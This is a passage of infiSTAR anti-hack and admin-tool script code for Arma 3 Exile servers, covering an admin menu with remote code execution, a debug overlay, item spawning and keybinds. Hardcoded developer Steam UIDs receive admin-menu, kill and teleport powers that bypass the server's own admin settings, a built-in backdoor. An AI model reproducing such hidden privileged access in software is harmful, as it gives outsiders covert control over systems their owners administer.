- _btnGuiEditor = _display displayCtrl 13292;
- _btnGuiEditor ctrlSetText 'kick';
- _btnGuiEditor ctrlRemoveAllEventHandlers 'ButtonClick';
- _btnGuiEditor buttonSetAction '';
- if('Kick (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnGuiEditor buttonSetAction '
- _lbtxt = lbtext[122000,(lbCurSel 122000)];
- {
- _xUID = getPlayerUID _x;
- if(_xUID != '''')then
- {
- if(name _x == _lbtxt)exitWith
- {
- _reason = (ctrlText ((findDisplay 316000) displayCtrl 12284));
- if(_reason == '''')then{_reason=''Admin Kick'';};
- _input = [4,netId _x,toArray _reason];
- [-662,_input] call fnc_AdminReq;
- };
- };
- } forEach (call fnc_get_plr);
- ';
- }
- else
- {
- _btnGuiEditor ctrlEnable false;
- };
- _btnSE = _display displayCtrl 13286;
- _btnSE ctrlRemoveAllEventHandlers 'ButtonClick';
- if('Execute code on server (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnSE buttonSetAction '';
- _btnSE ctrlSetEventHandler['ButtonClick','[ctrlText((findDisplay 316000) displayCtrl 12284)] call admin_d0_server;true'];
- }
- else
- {
- _btnSE ctrlEnable false;
- };
- _btnGE = _display displayCtrl 13285;
- _btnGE ctrlRemoveAllEventHandlers 'ButtonClick';
- if('Execute code global (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnGE buttonSetAction '';
- _btnGE ctrlSetEventHandler['ButtonClick','[ctrlText((findDisplay 316000) displayCtrl 12284)] call admin_d0;true'];
- }
- else
- {
- _btnGE ctrlEnable false;
- };
- _btnLE = _display displayCtrl 1;
- _btnLE ctrlRemoveAllEventHandlers 'ButtonClick';
- if('Execute code local (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnLE buttonSetAction '';
- _btnLE ctrlSetEventHandler['ButtonClick','(ctrlText((findDisplay 316000) displayCtrl 12284)) call fnc_admin_cc;true'];
- }
- else
- {
- _btnLE ctrlEnable false;
- };
- isNull findDisplay 316000
- };
- };
- FN_SERVER_INFORMATION_OVERLAY = {
- if(isNil'DEBUG_OVERLAY_THREAD')then
- {
- DEBUG_OVERLAY_THREAD = [] spawn {
- private['_timer1','_timer2','_code','_ALL','_allMissionObjects','_allMissionObjectsTypeAll','_ObjectsSimulated','_Exile_Construction','_Exile_Flag','_Vehicles','_LandVehicleAirShipStatic','_allDead','_allDeadMen','_DeadPlayers','_Players','_AI','_SERVERTHREADS','_FPS','_MissionRunningTime','_nearestObject','_nearestObjectHealth','_nearestObjects','_LootWeaponHolder','_GroundWeaponHolder','_WeaponHolderSimulated','_Exile_Flag150m','_Exile_Construction150m','_LootWeaponHolder150m','_GroundWeaponHolder150m','_WeaponHolderSimulated150m','_ctrlTXT'];
- disableSerialization;
- _ctrlTXT = [findDisplay 46,'RscStructuredText',5555313] call fnc_createctrl;
- _ctrlTXT ctrlSetPosition [safeZoneX+safeZoneW-0.6,safeZoneY+0.1,0.55,1.2];
- _ctrlTXT ctrlCommit 0;
- _timer1 = 0;
- _timer2 = 0;
- while{true}do
- {
- if(time > _timer1)then
- {
- _timer1 = time + 10;
- _ALL = (allMissionObjects '');
- _Exile_Flag = {_x isKindOf 'Exile_Construction_Flag_Static'} count _ALL;
- _Exile_Construction = {_x isKindOf 'Exile_Construction_Abstract_Static'} count _ALL;
- _allMissionObjects = count _ALL;
- _ObjectsSimulated = {simulationEnabled _x} count _ALL;
- _Vehicles = count vehicles;
- _LandVehicleAirShipStatic = count ([0,0,0] nearEntities [['LandVehicle','Air','Ship','Static'], 10000000]);
- _LootWeaponHolder = {_x isKindOf 'LootWeaponHolder'} count _ALL;
- _GroundWeaponHolder = {_x isKindOf 'GroundWeaponHolder'} count _ALL;
- _WeaponHolderSimulated = {_x isKindOf 'WeaponHolderSimulated'} count _ALL;
- };
- if(time > _timer2)then
- {
- _timer2 = time + 3;
- _allDead = count allDead;
- _allDeadMen = count allDeadMen;
- _DeadPlayers = {!alive _x} count (call fnc_get_plr);
- _Players = count (call fnc_get_plr);
- _AI = {(!(isPlayer _x) && (!isNull group _x))} count allUnits;
- _Exile_Flag150m = count (player nearObjects ['Exile_Construction_Flag_Static', 150]);
- _Exile_Construction150m = count (player nearObjects ['Exile_Construction_Abstract_Static', 150]);
- _LootWeaponHolder150m = count (player nearObjects ['LootWeaponHolder', 150]);
- _GroundWeaponHolder150m = count (player nearObjects ['GroundWeaponHolder', 150]);
- _WeaponHolderSimulated150m = count (player nearObjects ['WeaponHolderSimulated', 150]);
- };
- _MissionRunningTime = if(time > 0)then{_hours = floor(time / 60 / 60);_minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);_seconds = time - (_hours*60*60) - (_minutes * 60);format['%1h %2min %3s',_hours,_minutes,round _seconds]}else{0};
- _nearestObject = '';
- _nearestObjectHealth = '';
- _nearestObjects = nearestObjects [screenToWorld [0.5,0.5], [], 10];
- {
- if(!isNull _x)exitWith
- {
- _nearestObject = _x;
- _nearestObjectHealth = (1-(damage _x))*100;
- };
- }forEach _nearestObjects;
- _txt = format['
- <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Flags on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%1</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Constructions on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%2</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>LootWeaponHolder on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%20</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>GroundWeaponHolder on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%21</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>WeaponHolderSimulated on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%22</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Flags in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%3</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Constructions in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%27</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>LootWeaponHolder in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%23</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>GroundWeaponHolder in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%24</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>WeaponHolderSimulated in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%25</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>allMissionObjects: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%4</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Vehicles: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%6</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>LandVehicleAirShipStatic: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%7</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>ObjectsSimulated: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%5</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Players: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%11</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>DeadPlayers: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%10</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>allDeadMen: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%9</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>allDead: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%8</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>AI: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%12</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>CLIENT: </t><t align=''left'' size=''.75'' color=''#5FBEDE''> [FPS: %16|THREADS: %26]</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>SERVER: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>[FPS: %15|THREADS: %13]</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>MissionRunningTime: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%14</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>Server looptime: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%28</t><br/>
- <br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>TARGET TYPE: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%17</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>TARGET DISTANCE: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%18</t><br/>
- <t align=''left'' size=''.75'' color=''#44CD00''>TARGET HEALTH: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%19</t><br/>
- ',
- _Exile_Flag,
- _Exile_Construction,
- _Exile_Flag150m,
- _allMissionObjects,
- _ObjectsSimulated,
- _Vehicles,
- _LandVehicleAirShipStatic,
- _allDead,
- _allDeadMen,
- _DeadPlayers,
- _Players,
- _AI,
- SERVER_THREADS,
- _MissionRunningTime,
- SERVER_FPS,
- diag_fps,
- if(isNull cursorTarget)then{_nearestObject}else{typeOf cursorTarget},
- if(isNull cursorTarget)then{player distance (screenToWorld [0.5,0.5])}else{player distance cursorTarget},
- if(isNull cursorTarget)then{_nearestObjectHealth}else{(1-(damage cursorTarget))*100},
- _LootWeaponHolder,
- _GroundWeaponHolder,
- _WeaponHolderSimulated,
- _LootWeaponHolder150m,
- _GroundWeaponHolder150m,
- _WeaponHolderSimulated150m,
- count diag_activeSQFScripts,
- _Exile_Construction150m,
- SERVER_LOOPTIME
- ];
- _ctrlTXT ctrlSetStructuredText parseText _txt;
- uiSleep .5;
- };
- };
- }
- else
- {
- terminate DEBUG_OVERLAY_THREAD;DEBUG_OVERLAY_THREAD=nil;
- ctrlDelete ((findDisplay 46) displayCtrl 5555313);
- };
- };
- FN_GEAR_ON_TARGET = {
- disableSerialization;
- _tvctrl = [findDisplay 46 createDisplay 'RscCredits','RscTree',55667] call fnc_createctrl;
- _tvctrl ctrlSetFont 'PuristaBold';
- _tvctrl ctrlSetTextColor[1,1,1,1];
- _tvctrl ctrlSetBackgroundColor[0,0,0,0.7];
- _tvctrl ctrlSetPosition[0.1,safeZoneY,1,safeZoneH];
- _tvctrl ctrlRemoveAllEventHandlers 'TreeDblClick';
- _tvctrl ctrlAddEventHandler ['TreeDblClick',{
- _tvctrl = _this select 0;
- _tvCurSel = _this select 1;
- _class = _tvctrl tvData _tvCurSel;
- if(_class != '')then
- {
- _click = _tvctrl tvText _tvCurSel;
- if(isNull SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
- _target = SELECTED_TARGET_PLAYER;
- _log = format['Spawning %1 on %2!',_click,name _target];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- [_target,_class] call fnc_reallyAdditem;
- };
- }];
- _tvctrl ctrlCommit 0;
- {
- _category = _x;
- _index = _forEachIndex;
- _tvctrl tvAdd [[],_category];
- _variable = missionNameSpace getVariable (_category+'_ARRAY');
- {
- _class = _x call {
- if(isClass (configFile >> 'CfgWeapons' >> _this))exitWith{'CfgWeapons'};
- if(isClass (configFile >> 'CfgMagazines' >> _this))exitWith{'CfgMagazines'};
- 'CfgVehicles'
- };
- _displayName = getText(configFile >> _class >> _x >> 'displayName');
- _picture = getText(configFile >> _class >> _x >> 'picture');
- _tvctrl tvAdd [[_index],format['%1 (%2)',_displayName,_x]];
- _tvctrl tvSetPicture [[_index,_forEachIndex],_picture];
- _tvctrl tvSetData [[_index,_forEachIndex],_x];
- } forEach _variable;
- }forEach newAllItems_CATEGORY;
- };
- FN_CHANGE_VIEWDISTANCE = {
- disableSerialization;
- _display = findDisplay 999;
- if(isNull _display)then{_display = findDisplay 46 createDisplay 'RscCredits';};
- _ctrl = [_display,'RSCText',44667] call fnc_createctrl;
- _ctrl ctrlSetPosition [0.2,0.1,1,.1];
- _ctrl ctrlSetText format['ViewDistance: %1',viewDistance];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RscXSliderH',44668] call fnc_createctrl;
- _ctrl sliderSetRange [500, 5000];
- _ctrl sliderSetPosition viewDistance;
- _ctrl ctrlSetPosition [0.2,0.175];
- _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _ctrl ctrlAddEventHandler ['SliderPosChanged','
- setViewDistance (_this select 1);
- ((findDisplay 999) displayCtrl 44667) ctrlSetText format[''ViewDistance: %1'',viewDistance];
- '];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCText',44669] call fnc_createctrl;
- _ctrl ctrlSetPosition [0.2,0.2,1,.1];
- _ctrl ctrlSetText format['ObjectViewDistance: %1',getObjectViewDistance select 0];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RscXSliderH',44670] call fnc_createctrl;
- _ctrl sliderSetRange [25, 3000];
- _ctrl sliderSetPosition (getObjectViewDistance select 0);
- _ctrl ctrlSetPosition [0.2,0.275];
- _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _ctrl ctrlAddEventHandler ['SliderPosChanged','
- setObjectViewDistance [(_this select 1),(getObjectViewDistance select 1)];
- ((findDisplay 999) displayCtrl 44669) ctrlSetText format[''ObjectViewDistance: %1'',(getObjectViewDistance select 0)];
- '];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCText',44671] call fnc_createctrl;
- _ctrl ctrlSetPosition [0.2,0.3,1,.1];
- _ctrl ctrlSetText format['ShadowViewDistance: %1',getObjectViewDistance select 1];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RscXSliderH',44672] call fnc_createctrl;
- _ctrl sliderSetRange [0, 300];
- _ctrl sliderSetPosition (getObjectViewDistance select 1);
- _ctrl ctrlSetPosition [0.2,0.375];
- _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _ctrl ctrlAddEventHandler ['SliderPosChanged','
- setObjectViewDistance [(getObjectViewDistance select 0),(_this select 1)];
- ((findDisplay 999) displayCtrl 44671) ctrlSetText format[''ShadowViewDistance: %1'',(getObjectViewDistance select 1)];
- '];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',33400] call fnc_createctrl;
- _ctrl ctrlSetText 'CLOSE';
- _ctrl ctrlSetPosition [0.5,0.41];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','findDisplay 999 closeDisplay 0'];
- };
- if(MYPUIDinfiESP in ['76561198152111329','76561198276380268'])then{ALLOW_ME_THIS_KEYBIND = true;}else{ALLOW_ME_THIS_KEYBIND = false;};
- if(isNil 'OPEN_ADMIN_MENU_KEY')then{OPEN_ADMIN_MENU_KEY = 0x3B;};
- fnc_infiAdminKeyDown = {
- private ['_key', '_shift', '_ctrl', '_alt'];
- _key = _this select 1;
- _shift = _this select 2;
- _ctrl = _this select 3;
- _alt = _this select 4;
- SHIFT_IS_PRESSED = _shift;
- ALT_IS_PRESSED = _alt;
- if(_key isEqualTo OPEN_ADMIN_MENU_KEY)then{FILLMAINSTATE=0;[] call fnc_FULLinit;};
- if(_key isEqualTo 0x3B)then{ if(ALLOW_ME_THIS_KEYBIND)then{FILLMAINSTATE=0;[] call fnc_FULLinit;}; };
- if(_key isEqualTo 0x3C)then{ if(_shift)then{if('AdminConsole' call ADMINLEVELACCESS)then{[] call bis_fnc_configviewer;'configviewer' call fnc_adminLog;};}else{FILLMAINSTATE=1;[] call fnc_FULLinit;}; };
- if(_key isEqualTo 0x3D)then{ if(_shift)then{if(ALLOW_ME_THIS_KEYBIND)then{[''] call fnc_ATTACH_TO;};}else{if('AdminConsole' call ADMINLEVELACCESS)then{[] call fnc_workplace;};}; };
- if(_key isEqualTo 0x3E)then{ if('Items spawn menu' call ADMINLEVELACCESS)then{call FN_GEAR_ON_TARGET;}; };
- if(_key isEqualTo 0x3F)then{ if('Change ViewDistance' call ADMINLEVELACCESS)then{if(_shift || _ctrl || _alt)exitWith{};call FN_CHANGE_VIEWDISTANCE;}; };
- if(_key isEqualTo 0x17)then{ if(('showinfo' call ADMINLEVELACCESS)&&(_shift))then{if(!isNull cursortarget)then{[] spawn admin_showinfo;};}; };
- if(_key isEqualTo 0xD3)then{ if('Delete Vehicle' call ADMINLEVELACCESS)then{[''] call fnc_deleteVeh_selected;}; };
- if(_key isEqualTo 0x42)then{ if('Flip Vehicle' call ADMINLEVELACCESS)then{[''] call fnc_flipVeh;}; };
- if(_key isEqualTo 0x02)then{ if(ALLOW_ME_THIS_KEYBIND || 'Light' call ADMINLEVELACCESS)then{ if(_ctrl)then{[''] call fnc_Light_selected; };}; };
- if(_key isEqualTo 0x03)then{ if(ALLOW_ME_THIS_KEYBIND)then{ if(_ctrl)then{[''] call fnc_Kill_selected; };}; };
- if(_key isEqualTo 0x05)then{ if('FlyUp' call ADMINLEVELACCESS)then{call infiSTAR_FlyUp}; };
- if(_key isEqualTo 0x06)then{ if(_shift)then{ [] call infiSTAR_Tpdirection;}; };
- if(_key isEqualTo 0x08)then{ if('UnlockLockVehicle' call ADMINLEVELACCESS)then{[] call infiSTAR_A3Togglelock;}; };
- if(_key isEqualTo 0x43)then{ if('ShowGear' call ADMINLEVELACCESS)then{[] call admin_showGear;}; };
- if(_key isEqualTo 0x44)then{ call fnc_endspectate; };
- if(_key isEqualTo 0x2F)then{ if(ALLOW_ME_THIS_KEYBIND)then{if(_shift)then{[] call infiSTAR_shortTP;};if(_ctrl)then{[] call infiSTAR_go_down;};}; };
- if(_key isEqualTo 0x30)then{ if(ALLOW_ME_THIS_KEYBIND)then{[] call fnc_Hover;}; };
- if(_key isEqualTo 0x40)then{ if('HealSelf' call ADMINLEVELACCESS)then{[] call infiSTAR_A3Heal;'HealSelf' call fnc_adminLog;playsound 'AddItemOK';}; };
- if(_key isEqualTo 0x41)then{ if('HealRepairNear' call ADMINLEVELACCESS)then{[] call infiSTAR_A3RestoreNear;'HealRepairNear' call fnc_adminLog;playsound 'AddItemOK';}; };
- if(_key isEqualTo 0x0F)then{ if(_shift)then{openMap true;}; };
- if(_key isEqualTo 0x57)then{ if('Spawn Ammo' call ADMINLEVELACCESS)then{[] call infiSTAR_A3addAmmo;}; };
- if(_key isEqualTo 0x0E)then{ if(!isNil'prevLoc')then{[1,netId player,prevLoc] call fnc_AdminReq;prevLoc = nil;}; };
- if(_key isEqualTo 83)then{ [] call fn_addArsenalAction; };
- false
- };
- fnc_infiAdminKeyUp = {
- private ['_key', '_shift', '_ctrl', '_alt'];
- _key = _this select 1;
- _shift = _this select 2;
- _ctrl = _this select 3;
- _alt = _this select 4;
- SHIFT_IS_PRESSED = false;
- ALT_IS_PRESSED = false;
- false
- };
- _oldValues = profileNamespace getVariable ['infiSTAR_saveToggle',[]];
- if!(_oldValues isEqualTo [])then
- {
- {
- if(_x call ADMINLEVELACCESS)then
- {
- if!(_x in infiSTAR_toggled_A)then
- {
- _x call fnc_toggleables;
- };
- };
- } forEach _oldValues;
- };
- HTML_LOAD_URL_EXILE = 'http://htmlload.infistar.de/admin.php';
- _log = format['<infiSTAR.de> %1 - Menu Loaded - press F1 (default Key) to open it!',call GET_TIME_TIME];systemchat _log;diag_log _log;
- if(!isNil 'infiAdminKeyDown')then{(findDisplay 46) displayRemoveEventHandler ['KeyDown',infiAdminKeyDown];infiAdminKeyDown = nil;};
- infiAdminKeyDown = (findDisplay 46) displayAddEventHandler ['KeyDown',{ _this call fnc_infiAdminKeyDown }];
- if(!isNil 'infiAdminKeyUp')then{(findDisplay 46) displayRemoveEventHandler ['KeyUp',infiAdminKeyUp];infiAdminKeyUp = nil;};
- infiAdminKeyUp = (findDisplay 46) displayAddEventHandler ['KeyUp',{ _this call fnc_infiAdminKeyUp }];
- if('Teleport On Map Click' call ADMINLEVELACCESS)then
- {
- if(!isNil'infiAdminMouseButtonDown')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['MouseButtonDown',infiAdminMouseButtonDown];infiAdminMouseButtonDown=nil;};
- infiAdminMouseButtonDown = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['MouseButtonDown','call fnc_MouseButtonDown'];
- if(!isNil'infiAdminMouseButtonUp')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['MouseButtonUp',infiAdminMouseButtonUp];infiAdminMouseButtonUp=nil;};
- infiAdminMouseButtonUp = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['MouseButtonUp','call fnc_MouseButtonUp'];
- };
- ";
- /* ********************************************************************************* */
- /* *********************************www.infiSTAR.de********************************* */
- /* *******************Developed by infiSTAR (infiSTAR23@gmail.com)****************** */
- /* **************infiSTAR Copyright®© 2011 - 2016 All rights reserved.************** */
- /* ****DayZAntiHack.com***DayZAntiHack.de***ArmaAntiHack.com***Arma3AntiHack.com**** *//*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- Description:
- Arma AntiHack & AdminTools - infiSTAR.de
- UPDATEEMAIL for http://update.infiSTAR.de is:
- 'bullred1989@gmail.com'
- Last download was on:
- '05-Jul-2016 23-52-40';
- NOTE:
- THIS FILE SHOULD NOT BE TOUCHED UNLESS YOU REALLY KNOW WHAT YOU ARE DOING!
- */
- /* FIX PROBLEMS IN ARMA / OTHER ADDONS */
- cba_common_setVehVarName = compileFinal "diag_log 'blocked RE exploit';";
- BIS_fnc_parsenumber = compileFinal '
- _number = param [0,-1,[0,"",{},configfile]];
- switch (typename _number) do {
- case (typename {}): {
- _number = call _number;
- if (isnil {_number}) then {_number = -1;};
- _number
- };
- case (typename ""): {
- _number = parseNumber _number;
- if (isnil {_number}) then {_number = -1;};
- _number
- };
- case (typename configfile): {
- if (isnumber _number) then {
- getnumber _number
- } else {
- if (istext _number) then {
- parseNumber (gettext _number)
- } else {
- -1
- };
- };
- };
- default {_number};
- };
- ';
- /* START INFISTAR */
- if(!isNil "infiSTAR_IS_RUN_ON_THIS_SERVER")exitWith{diag_log format["<infiSTAR.de> %1 - is already started %1 seconds ago..",time - infiSTAR_IS_RUN_ON_THIS_SERVER];};
- infiSTAR_IS_RUN_ON_THIS_SERVER = time;
- _found = false;
- diag_log format["<infiSTAR.de> %1 - checking for EXILE_SERVER..",time];
- _cfgPatches = configFile >> "CfgPatches";
- for "_i" from 0 to (count _cfgPatches - 1) do
- {
- _patchClass = _cfgPatches select _i;
- if(toLower(configName _patchClass) isEqualTo "exile_server")exitWith
- {
- _found = true;
- };
- };
- if(!_found)exitWith
- {
- for "_i" from 0 to 10 do
- {
- diag_log format["<infiSTAR.de> %1 - Could not find EXILE_SERVER, infiSTAR will not start!",time];
- };
- };
- diag_log format["<infiSTAR.de> %1 - EXILE_SERVER has been found, STARTING",time];
- _found = false;
- diag_log format["<infiSTAR.de> %1 - checking for Cfg_infiSTAR_settings..",time];
- _configFile = configFile;
- for "_i" from 0 to (count _configFile - 1) do
- {
- _patchClass = _configFile select _i;
- if(configName _patchClass == "Cfg_infiSTAR_settings")exitWith
- {
- _found = true;
- };
- };
- if(!_found)exitWith
- {
- for "_i" from 0 to 10 do
- {
- diag_log format["<infiSTAR.de> %1 - Could not find Cfg_infiSTAR_settings, infiSTAR will not start!",time];
- };
- };
- diag_log format["<infiSTAR.de> %1 - Cfg_infiSTAR_settings has been found, STARTING",time];
- fnc_infiSTAR_cfg = compileFinal '
- private["_inputclassname","_path","_default","_defaultT","_return"];
- _inputclassname = _this select 0;
- _path = (configfile >> "Cfg_infiSTAR_settings" >> _inputclassname);
- _default = _this select 1;
- _defaultT = typename _default;
- _return = call {
- if(_defaultT isEqualTo "BOOL")exitWith{(getText _path)=="true"};
- if(_defaultT isEqualTo "ARRAY")exitWith{getArray _path};
- if(_defaultT isEqualTo "SCALAR")exitWith{getNumber _path};
- if(_defaultT isEqualTo "STRING")exitWith{getText _path};
- diag_log format["<infiSTAR.de> fnc_infiSTAR_cfg inputclassname: %1, default: %2, default type: %3 - was used!",_inputclassname,_default,_defaultT];
- _default
- };
- _return
- ';
- _devs = ['76561198152111329']; /* infiSTAR UID */
- _admins = [];
- _serverCommandPassword = ["serverCommandPassword","changeme"] call fnc_infiSTAR_cfg;
- _passwordAdmin = ["passwordAdmin","changeme"] call fnc_infiSTAR_cfg;
- _OPEN_ADMIN_MENU_KEY = ["OPEN_ADMIN_MENU_KEY",0x3B] call fnc_infiSTAR_cfg;
- _HIDE_FROM_PLAYERS = ["HIDE_FROM_PLAYERS",false] call fnc_infiSTAR_cfg;
- _announce_adminstate_changed = ["announce_adminstate_changed",false] call fnc_infiSTAR_cfg;
- _use_html_load_on_adminmenu = ["use_html_load_on_adminmenu",true] call fnc_infiSTAR_cfg;
- LOG_PATH = ["LOG_PATH",""] call fnc_infiSTAR_cfg;
- _LogAdminActions = ["LogAdminActions",true] call fnc_infiSTAR_cfg;
- _enableIngameLogs = ["enableIngameLogs",true] call fnc_infiSTAR_cfg;
- _needAdminNameTag = ["needAdminNameTag",false] call fnc_infiSTAR_cfg;
- _AdminNameTag = ["AdminNameTag","[Admin]"] call fnc_infiSTAR_cfg;
- _chatCommands = ["chatCommands",[]] call fnc_infiSTAR_cfg;
- _chatCommandsP = ["chatCommandsP",[]] call fnc_infiSTAR_cfg;
- _ENABLE_NOTIFICATION_MESSAGES = ["ENABLE_NOTIFICATION_MESSAGES",true] call fnc_infiSTAR_cfg;
- if(_ENABLE_NOTIFICATION_MESSAGES)then{
- NOTIFY_MSG_ARRAY = ["NOTIFY_MSG_ARRAY",[]] call fnc_infiSTAR_cfg;
- publicVariable "NOTIFY_MSG_ARRAY";
- };
- _pathToCustomBillBoardTextures = ["pathToCustomBillBoardTextures",[]] call fnc_infiSTAR_cfg;
- _startAsNormal = ["startAsNormal",[]] call fnc_infiSTAR_cfg;
- _hiddenSuperAdmin = ["hiddenSuperAdmin",[]] call fnc_infiSTAR_cfg;
- _adminUIDandAccess = ["adminUIDandAccess",[]] call fnc_infiSTAR_cfg;
- _USE_DATABASE_WHITELIST = ["USE_DATABASE_WHITELIST",false] call fnc_infiSTAR_cfg;
- _USE_UID_WHITELIST = ["USE_UID_WHITELIST",false] call fnc_infiSTAR_cfg;
- _UID_WHITELIST = ["UID_WHITELIST",[]] call fnc_infiSTAR_cfg;
- _ExileDevFriendlyMode = ["ExileDevFriendlyMode",false] call fnc_infiSTAR_cfg;
- _ESCMNUTOP = ["ESCMNUTOP","AntiHack & AdminTools"] call fnc_infiSTAR_cfg;
- _ESCMNUBOT = ["ESCMNUBOT","by infiSTAR.de"] call fnc_infiSTAR_cfg;
- _BRIEFING_MSG = ["BRIEFING_MSG",false] call fnc_infiSTAR_cfg;
- _HTML_LOAD_URL = ["HTML_LOAD_URL",""] call fnc_infiSTAR_cfg;
- _ENABLE_PRIVATE_CHAT_MENU = ["ENABLE_PRIVATE_CHAT_MENU",false] call fnc_infiSTAR_cfg;
- _PRIVATE_CHAT_MENU_8GNETWORK = ["PRIVATE_CHAT_MENU_8GNETWORK",false] call fnc_infiSTAR_cfg;
- _USE_RESTART_TIMER = ["USE_RESTART_TIMER",true] call fnc_infiSTAR_cfg;
- _RESTART_TIME_IN_M = ["RESTART_TIME_IN_M",180] call fnc_infiSTAR_cfg;
- _SHOW_TIMER_IN_MIN = ["SHOW_TIMER_IN_MIN",[1,2,3,5,10]] call fnc_infiSTAR_cfg;
- _USE_RESTART_TIMER_SHUTDOWN = ["USE_RESTART_TIMER_SHUTDOWN",false] call fnc_infiSTAR_cfg;
- _DayNightVote = ["DayNightVote",true] call fnc_infiSTAR_cfg;
- _MRV = ["MRV",0.3] call fnc_infiSTAR_cfg;
- _MVP = ["MVP",0.51] call fnc_infiSTAR_cfg;
- _VCT = ["VCT",300] call fnc_infiSTAR_cfg;
- _TGV = ["TGV",40] call fnc_infiSTAR_cfg;
- _VDV = ["VDV",900] call fnc_infiSTAR_cfg;
- _VOV = ["VOV",750] call fnc_infiSTAR_cfg;
- _SVD = ["SVD",100] call fnc_infiSTAR_cfg;
- _fix_uniform_and_vest = ["fix_uniform_and_vest",false] call fnc_infiSTAR_cfg;
- _experimental_dupe_check = ["experimental_dupe_check",false] call fnc_infiSTAR_cfg;
- _stopSafeGlitchAndCorpseDupe = ["stopSafeGlitchAndCorpseDupe",false] call fnc_infiSTAR_cfg;
- _URC = ["URC",true] call fnc_infiSTAR_cfg;
- _LVC = ["LVC",true] call fnc_infiSTAR_cfg;
- _CAP = ["CAP",false] call fnc_infiSTAR_cfg;
- _KCM = ["KCM",true] call fnc_infiSTAR_cfg;
- _CMC = ["CMC",true] call fnc_infiSTAR_cfg;
- _allowedCommandingMenus = ["allowedCommandingMenus",[]] call fnc_infiSTAR_cfg;
- _allowedCommandingMenus = _allowedCommandingMenus - ["#user:example"];
- _allowedCommandingMenus = _allowedCommandingMenus - ["#user:example2"];
- _check_Notifications = ["check_Notifications",false] call fnc_infiSTAR_cfg;
- _disconnect_dupe_check = ["disconnect_dupe_check",false] call fnc_infiSTAR_cfg;
- _wall_look = ["wall_look",false] call fnc_infiSTAR_cfg;
